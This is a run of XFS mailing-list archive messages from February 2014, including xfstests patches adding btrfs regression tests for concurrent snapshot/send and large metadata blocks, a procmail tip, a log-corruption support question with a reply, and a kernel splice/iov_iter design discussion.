X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.23 X-Barracuda-Spam-Status: No, SCORE=0.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144917 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Wang Shilong Btrfs would fail to send if snapshot run concurrently, this test is to make sure we have fixed the bug. Signed-off-by: Wang Shilong --- v3->v4: avoid to use silent send command(thanks to Dave Chinner) rename patch's subject from Btrfs to xfstest/btrfs(thanks to Anand) make sure background snapshots exists before killing it. v2->v3: make sure we kill backgrund snapshots on test failure. v1-v2: Avoid race codes and a code style update(Thanks to Dave Chinner's comments) --- tests/btrfs/034 | 85 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/034.out | 2 ++ tests/btrfs/group | 1 + 3 files changed, 88 insertions(+) create mode 100644 tests/btrfs/034 create mode 100644 tests/btrfs/034.out diff --git a/tests/btrfs/034 b/tests/btrfs/034 new file mode 100644 index 0000000..06c796e --- /dev/null +++ b/tests/btrfs/034 @@ -0,0 +1,85 @@ +#!/bin/bash +# FS QA Test No. btrfs/034 +# +# Regression test for running snapshots and send concurrently. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Fujitsu. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +snapshots_pid=0 + +_cleanup() +{ + # kill backgroud snapshots + if [ $snapshots_pid -ne 0 ] && ps -p $snapshots_pid | grep -q $snapshots_pid; then + kill -TERM $snapshots_pid 2> /dev/null + fi + rm -f $tmp.* +} + +do_snapshots() +{ + i=2 + while [ 1 ] + do + $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT/snap_1 \ + $SCRATCH_MNT/snap_$i >> $seqres.full 2>&1 + let i=$i+1 + sleep 1 + done +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch + +_scratch_mkfs > /dev/null 2>&1 +_scratch_mount + +touch $SCRATCH_MNT/foo + +# get file with fragments by using backwards writes. +for i in `seq 10240 -1 1`; do + $XFS_IO_PROG -f -d -c "pwrite $(($i * 4096)) 4096" \ + $SCRATCH_MNT/foo > /dev/null | _filter_xfs_io +done + +$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/snap_1 >> $seqres.full 2>&1 + +do_snapshots & +snapshots_pid=$! + +$BTRFS_UTIL_PROG send $SCRATCH_MNT/snap_1 -f /dev/null 2>&1 | _filter_scratch + +status=0 ; exit diff --git a/tests/btrfs/034.out b/tests/btrfs/034.out new file mode 100644 index 0000000..9ed31e8 --- /dev/null +++ b/tests/btrfs/034.out @@ -0,0 +1,2 @@ +QA output created by 034 +At subvol SCRATCH_MNT/snap_1 diff --git a/tests/btrfs/group b/tests/btrfs/group index b29236c..f9f062f 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -36,3 +36,4 @@ 031 auto quick 032 auto quick 033 auto quick +034 auto quick -- 1.8.4 From rostedt@home.goodmis.org Fri Feb 7 09:57:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EF74C7F4E for ; Fri, 7 Feb 2014 09:57:46 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D1B4630408C for ; Fri, 7 Feb 2014 07:57:42 -0800 (PST) X-ASG-Debug-ID: 1391788661-04cbb00c2819ce70001-NocioJ Received: from cdptpa-oedge-vip.email.rr.com (cdptpa-outbound-snat.email.rr.com [107.14.166.226]) by cuda.sgi.com with ESMTP id 24yXcjQVbemSUY5q for ; Fri, 07 Feb 2014 07:57:41 -0800 (PST) X-Barracuda-Envelope-From: rostedt@home.goodmis.org X-Barracuda-Apparent-Source-IP: 107.14.166.226 Received: from [67.255.60.225] ([67.255.60.225:50990] helo=goliath) by cdptpa-oedge03 (envelope-from ) (ecelerity 3.5.0.35861 r(Momo-dev:tip)) with ESMTP id 92/5E-05632-47205F25; Fri, 07 Feb 2014 15:57:41 +0000 Received: by goliath (Postfix, from userid 5657) id 608553E0D7; Fri, 7 Feb 2014 10:57:40 -0500 (EST) Date: Fri, 7 Feb 2014 10:57:40 -0500 From: Steven Rostedt To: Linus Torvalds Cc: Ben Myers , Andrew Morton , Linux Kernel Mailing List , xfs@oss.sgi.com Subject: Re: [GIT PULL] XFS fix for 3.14-rc2 Message-ID: <20140207155740.GB6857@home.goodmis.org> X-ASG-Orig-Subj: Re: [GIT PULL] XFS fix for 3.14-rc2 References: <20140206173158.6A2A14266DC@whiskey.americas.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-RR-Connecting-IP: 107.14.168.142:25 X-Cloudmark-Score: 0 X-Barracuda-Connect: cdptpa-outbound-snat.email.rr.com[107.14.166.226] X-Barracuda-Start-Time: 1391788661 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144919 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 06, 2014 at 01:34:53PM -0800, Linus Torvalds wrote: > I have no idea why you keep re-sending this. > > It got merged a week ago. See commit f1499382f114. > Ben, you might want to subscribe to git-commits-head@vger.kernel.org and then add this to your .procmailrc: :0 H * List-id: { :0 B * !Signed-off-by: Ben Myers /dev/null :0 fw | /bin/sed -e 's/^Subject: /Subject: [linus-commit]/' } Then you get a nice email when your commits are added to Linus's tree. -- Steve From mroth@gopivotal.com Fri Feb 7 10:39:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id CE36D29DF8 for ; Fri, 7 Feb 2014 10:39:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6218CAC00B for ; Fri, 7 Feb 2014 08:39:28 -0800 (PST) X-ASG-Debug-ID: 1391791166-04cb6c6de11a24f0001-NocioJ Received: from mail-ie0-f171.google.com (mail-ie0-f171.google.com [209.85.223.171]) by cuda.sgi.com with ESMTP id I3nbVBxNIIOZ9FSt (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 07 Feb 2014 08:39:26 -0800 (PST) X-Barracuda-Envelope-From: mroth@gopivotal.com X-Barracuda-Apparent-Source-IP: 209.85.223.171 Received: by mail-ie0-f171.google.com with SMTP id as1so1786987iec.2 for ; Fri, 07 Feb 2014 08:39:26 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:subject:message-id:mime-version :content-type:content-disposition:user-agent; bh=SWLZtiMVwVHXQsB0hFuJr3p3fWLJCvTXgcXafn++orA=; b=KfnM6Bt7gttehlhoDilIVEoB3kj4IPRfzubpbcwPVDWfZZehBfX0dQzr7kZFq4vqmv Uqu3uqeQ7NCE2HL+QGdJgczEhDyS3FGQoLrx+D/uARb5Hz9nyeEk4qLJZFm/tMT1OWIa 4URk54WgSlFcID63hAVSn6PyRzqG+IRsBwV1tmGYULbW0uxslyZBBlyRXOruvLAH7SQq pu/Xl6l2aWRAuLSree5vOo8E4XrOT/180x4YL/4X5rguP3DVCq3AhPOgs4+GxJKYGKmX cjFBJ0NGRU3fYH95Ti2UxpsRebfmmfzrEVO//0GvSuj2zuvFvFXviAD3b+z8NpX/Eis3 QukQ== X-Gm-Message-State: ALoCoQnLe3023hJtqTttMICfn4UXNxULTrUGO8O2HiFqYcsOH/MoLDRf243wqAgy4z8V1AFEnN58 X-Received: by 10.43.69.83 with SMTP id yb19mr4408629icb.45.1391791166336; Fri, 07 Feb 2014 08:39:26 -0800 (PST) Received: from localhost (bas2-thornhill40-2925465484.dsl.bell.ca. [174.95.15.140]) by mx.google.com with ESMTPSA id t4sm11163829igm.10.2014.02.07.08.39.23 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Fri, 07 Feb 2014 08:39:24 -0800 (PST) Date: Fri, 7 Feb 2014 11:39:21 -0500 From: Mike Roth To: xfs@oss.sgi.com Subject: Troubleshooting log corruption Message-ID: <20140207163921.GA43189@wintermute.home> X-ASG-Orig-Subj: Troubleshooting log corruption MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.22 (2013-10-16) X-Barracuda-Connect: mail-ie0-f171.google.com[209.85.223.171] X-Barracuda-Start-Time: 1391791166 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144919 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- I've recently had a few systems experience a hard failure (power supply failure) and our XFS file system failed to recover. The file system fails to mount and I need to clear the logs before running repair on them. My understanding is that XFS should be more resilient to this kind of issue. I'm trying to dive a bit further into why this is happening (meta-data corruption) and I'm wondering if anyone can provide some suggestions as far as data to collect or tests to run to help understand why this corruption is happening on system failures. Thank you, mike From sandeen@sandeen.net Fri Feb 7 10:56:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2B8B829DF8 for ; Fri, 7 Feb 2014 10:56:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F30B230408C for ; Fri, 7 Feb 2014 08:56:48 -0800 (PST) X-ASG-Debug-ID: 1391792202-04cbb00c2a19e670001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id oGRh8a2997vFB1re for ; Fri, 07 Feb 2014 08:56:43 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id BC71B6142696; Fri, 7 Feb 2014 10:56:42 -0600 (CST) Message-ID: <52F5104A.1000701@sandeen.net> Date: Fri, 07 Feb 2014 10:56:42 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Mike Roth , xfs@oss.sgi.com Subject: Re: Troubleshooting log corruption References: <20140207163921.GA43189@wintermute.home> X-ASG-Orig-Subj: Re: Troubleshooting log corruption In-Reply-To: <20140207163921.GA43189@wintermute.home> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391792202 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144920 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 2/7/14, 10:39 AM, Mike Roth wrote: > I've recently had a few systems experience a hard failure (power > supply failure) and our XFS file system failed to recover. The file > system fails to mount and I need to clear the logs before running > repair on them. My understanding is that XFS should be more resilient > to this kind of issue. > > I'm trying to dive a bit further into why this is happening (meta-data > corruption) and I'm wondering if anyone can provide some suggestions > as far as data to collect or tests to run to help understand why this > corruption is happening on system failures. > > Thank you, > mike First off, http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F But for starters, which kernel are you running, what did the kernel say when mount failed, what is the storage beneath the filesystem, what sort of caching does it have, and what is the status of the barrier mount option for this filesystem? -Eric From viro@ftp.linux.org.uk Fri Feb 7 11:10:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A89EC29DF8 for ; Fri, 7 Feb 2014 11:10:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8D25A30408C for ; Fri, 7 Feb 2014 09:10:41 -0800 (PST) X-ASG-Debug-ID: 1391793038-04cbb00c2a19ec90001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id LeeIIYH19bw878EM (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 09:10:39 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WBowZ-00051B-NA; Fri, 07 Feb 2014 17:10:23 +0000 Date: Fri, 7 Feb 2014 17:10:23 +0000 From: Al Viro To: David Miller Cc: torvalds@linux-foundation.org, hch@infradead.org, axboe@kernel.dk, mfasheh@suse.com, jlbec@evilplan.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, sage@inktank.com, sfrench@samba.org Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140207171023.GU10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20140118074649.GF10323@ZenIV.linux.org.uk> <20140118082730.GH10323@ZenIV.linux.org.uk> <20140118.004453.1800341321580114709.davem@davemloft.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140118.004453.1800341321580114709.davem@davemloft.net> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391793039 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144920 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Jan 18, 2014 at 12:44:53AM -0800, David Miller wrote: > From: Al Viro > Date: Sat, 18 Jan 2014 08:27:30 +0000 > > > BTW, would sockets benefit from having ->sendpages() that would take an > > array of (page, offset, len) triples? It would be trivial to do and > > some of the helpers that are falling out of writing that writev-based > > default_file_splice_write() look like they could be reused for > > calling that one... Dave? > > That's originally how the sendpage method was implemented, but back then > Linus asked us to only pass one page at a time. > > I don't remember the details beyond that. FWIW, I wonder if what we are doing with ->msg_iov is the right thing. We modify the iovecs in array as we drain it. And that's inconvenient for at least some callers (see e.g. complaints in fs/ncpfs about the need to copy the array, etc.). What if we embed iov_iter into the sucker and replace memcpy_{to,from}iovec* with variants taking iov_iter *? If nothing else, it'll be marginally more efficient (no more skipping the already-emptied iovecs) and it seems to be more convenient for callers. If we are lucky, that might even eliminate the need of ->sendpage() - just set the iov_iter over array instead of iovec one and let ->sendmsg() do the smart thing if it knows how. I hadn't done comparison of {tcp,udp}_send{page,msg}, though - there might be dragons... Even if that will turn out to be infeasible, it will at least drive the kmap/kunmap done by sock_no_sendpage() down into memcpy_from_iter(), turning them into kmap_atomic/kunmap_atomic. The obvious price is that kernel-side msghdr diverges from the userland one, so copy_msghdr_from_user() needs to deal with that, but I really doubt that you'll find a load where the price of copying it in two chunks instead of one would be measurable. What else am I missing? From koen.de.wit@oracle.com Fri Feb 7 11:15:10 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 0D0A429DF8 for ; Fri, 7 Feb 2014 11:15:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF276304066 for ; Fri, 7 Feb 2014 09:15:09 -0800 (PST) X-ASG-Debug-ID: 1391793308-04cb6c6de01a3430001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 8vrAXRkvV3uDhg5x (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 09:15:08 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s17HF6We014447 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 7 Feb 2014 17:15:07 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s17HF5BY020315 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 7 Feb 2014 17:15:06 GMT Received: from abhmp0004.oracle.com (abhmp0004.oracle.com [141.146.116.10]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s17HF5LA017807; Fri, 7 Feb 2014 17:15:05 GMT Received: from koen-obi.localdomain (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 07 Feb 2014 09:15:05 -0800 From: Koen De Wit To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Koen De Wit Subject: [PATCH] xfstests: Btrfs: add test for large metadata blocks Date: Fri, 7 Feb 2014 18:14:45 +0100 X-ASG-Orig-Subj: [PATCH] xfstests: Btrfs: add test for large metadata blocks Message-Id: <1391793285-935-1-git-send-email-koen.de.wit@oracle.com> X-Mailer: git-send-email 1.7.1 X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391793308 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144920 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Tests Btrfs filesystems with all possible metadata block sizes, by setting large extended attributes on files. Signed-off-by: Koen De Wit --- tests/btrfs/036 | 128 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/036.out | 7 +++ tests/btrfs/group | 1 + 3 files changed, 136 insertions(+), 0 deletions(-) create mode 100644 tests/btrfs/036 create mode 100644 tests/btrfs/036.out diff --git a/tests/btrfs/036 b/tests/btrfs/036 new file mode 100644 index 0000000..0f8287a --- /dev/null +++ b/tests/btrfs/036 @@ -0,0 +1,128 @@ +#! /bin/bash +# FS QA Test No. 036 +# +# Tests large metadata blocks in btrfs, which allows large extended +# attributes. +# +#----------------------------------------------------------------------- +# Copyright (c) 2014, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +status=1 # failure is the default! + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here + +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +pagesize=`$here/src/feature -s` +pagesize_kb=`expr $pagesize / 1024` + +# Test all valid leafsizes +for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do + _scratch_unmount >/dev/null 2>&1 + _scratch_mkfs -l ${leafsize}K >/dev/null + _scratch_mount + # Calculate the xattr size, but leave 512 bytes for other metadata. + xattr_size=`expr $leafsize \* 1024 - 512` + + touch $SCRATCH_MNT/emptyfile + # smallfile will be inlined, bigfile not. + $XFS_IO_PROG -f -c "pwrite 0 100" $SCRATCH_MNT/smallfile >/dev/null + $XFS_IO_PROG -f -c "pwrite 0 9000" $SCRATCH_MNT/bigfile >/dev/null + ln -s $SCRATCH_MNT/bigfile $SCRATCH_MNT/bigfile_softlink + + files=(emptyfile smallfile bigfile bigfile_softlink) + chars=(a b c d) + for i in `seq 0 1 3`; do + char=${chars[$i]} + file=$SCRATCH_MNT/${files[$i]} + lnkfile=${file}_hardlink + ln $file $lnkfile + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' $char` + + set_md5=`echo -n "$xattr_value" | md5sum` + ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file + get_md5=`${ATTR_PROG} -Lq -g attr_$char $file | md5sum` + get_ln_md5=`${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum` + + # Using md5sums for comparison instead of the values themselves + # because bash command lines cannot be larger than 64K chars. + if [ "$set_md5" != "$get_md5" ]; then + echo "Got unexpected xattr value for attr_$char" + echo "from file $file . (leafsize is ${leafsize}K)" + fi + if [ "$set_md5" != "$get_ln_md5" ]; then + echo "Value for attr_$char differs for $file and" + echo "$lnkfile . (leafsize is ${leafsize}K)" + fi + done + + # Test attributes with a size larger than the leafsize. + # Should result in an error. + if [ "$leafsize" -lt "64" ]; then + # Bash command lines cannot be larger than 64K characters, so we + # do not test attribute values with a size >64KB. + xattr_size=`expr $leafsize \* 1024 + 512` + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' x` + ${ATTR_PROG} -q -s attr_toobig -V $xattr_value \ + $SCRATCH_MNT/emptyfile >> $seqres.full 2>&1 + if [ "$?" -eq "0" ]; then + echo "Expected error, xattr_size is bigger than ${leafsize}K" + fi + fi + +done + +# Illegal attribute name (more than 256 characters) +attr_name=`head -c 260 < /dev/zero | tr '\0' n` +${ATTR_PROG} -s $attr_name -V attribute_name_too_big \ + $SCRATCH_MNT/emptyfile 2>&1 | head -n 1 + +_scratch_unmount + +# Some illegal leafsizes + +_scratch_mkfs -l 0 2>> $seqres.full +echo $? + +_scratch_mkfs -l 5678 2>> $seqres.full +echo $? + +_scratch_mkfs -l `expr $pagesize / 2 + $pagesize` 2>> $seqres.full +echo $? + +_scratch_mkfs -l 128K 2>> $seqres.full +echo $? + +_scratch_mkfs -l K + +# success, all done +status=0 +exit diff --git a/tests/btrfs/036.out b/tests/btrfs/036.out new file mode 100644 index 0000000..1d9bdfb --- /dev/null +++ b/tests/btrfs/036.out @@ -0,0 +1,7 @@ +QA output created by 036 +attr_set: Invalid argument +1 +1 +1 +1 +ERROR: size value is empty diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..2ca2225 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +036 auto quick -- 1.7.1 From BATV+d7a2717a2a10dcc45952+3820+infradead.org+hch@bombadil.srs.infradead.org Fri Feb 7 11:48:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F04F429DF8 for ; Fri, 7 Feb 2014 11:48:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id C67DA8F8040 for ; Fri, 7 Feb 2014 09:48:00 -0800 (PST) X-ASG-Debug-ID: 1391795274-04bdf0121f1b92c0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id pPJa4cTYLcdVElfl (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 07 Feb 2014 09:47:55 -0800 (PST) X-Barracuda-Envelope-From: BATV+d7a2717a2a10dcc45952+3820+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WBpWs-0008Uj-47; Fri, 07 Feb 2014 17:47:54 +0000 Date: Fri, 7 Feb 2014 09:47:54 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems Message-ID: <20140207174754.GA31464@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs/189: noattr2 invalid for CRC enabled filesystems References: <1391590000-7171-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1391590000-7171-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1391795275 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 